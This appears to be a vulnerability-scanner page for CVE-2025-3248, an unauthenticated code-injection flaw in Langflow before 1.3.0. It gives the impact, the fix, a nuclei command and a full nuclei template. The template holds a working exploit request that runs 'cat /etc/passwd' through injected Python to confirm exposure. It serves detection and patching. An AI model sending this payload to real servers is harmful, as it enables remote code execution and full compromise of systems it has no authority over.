Langflow AI - Unauthenticated Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-05-05; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

Impact

Unauthenticated attackers can execute arbitrary code through crafted POST requests to the /api/v1/validate/code endpoint, achieving complete server compromise.

Fix

Upgrade to Langflow version 1.3.0 or later that properly validates user input before passing it to code execution functions.

How to confirm it

Send: POST /api/v1/validate/code
Positive when: matches /root:.*:0:0:/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-3248 -u <target>

The full check

id: CVE-2025-3248

info:
  name: Langflow AI - Unauthenticated Remote Code Execution
  author: nvn1729
  severity: critical
  description: |
    Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.
  impact: |
    Unauthenticated attackers can execute arbitrary code through crafted POST requests to the /api/v1/validate/code endpoint, achieving complete server compromise.
  remediation: |
    Upgrade to Langflow version 1.3.0 or later that properly validates user input before passing it to code execution functions.
  reference:
    - https://github.com/langflow-ai/langflow/pull/6911
    - https://github.com/langflow-ai/langflow/releases/tag/1.3.0
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-3248
    cwe-id: CWE-306
    epss-score: 0.99993
    epss-percentile: 0.99987
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Langflow"
  tags: cve,cve2025,python,rce,injection,kev,langflow,vkev,vuln

http:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n  pass"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from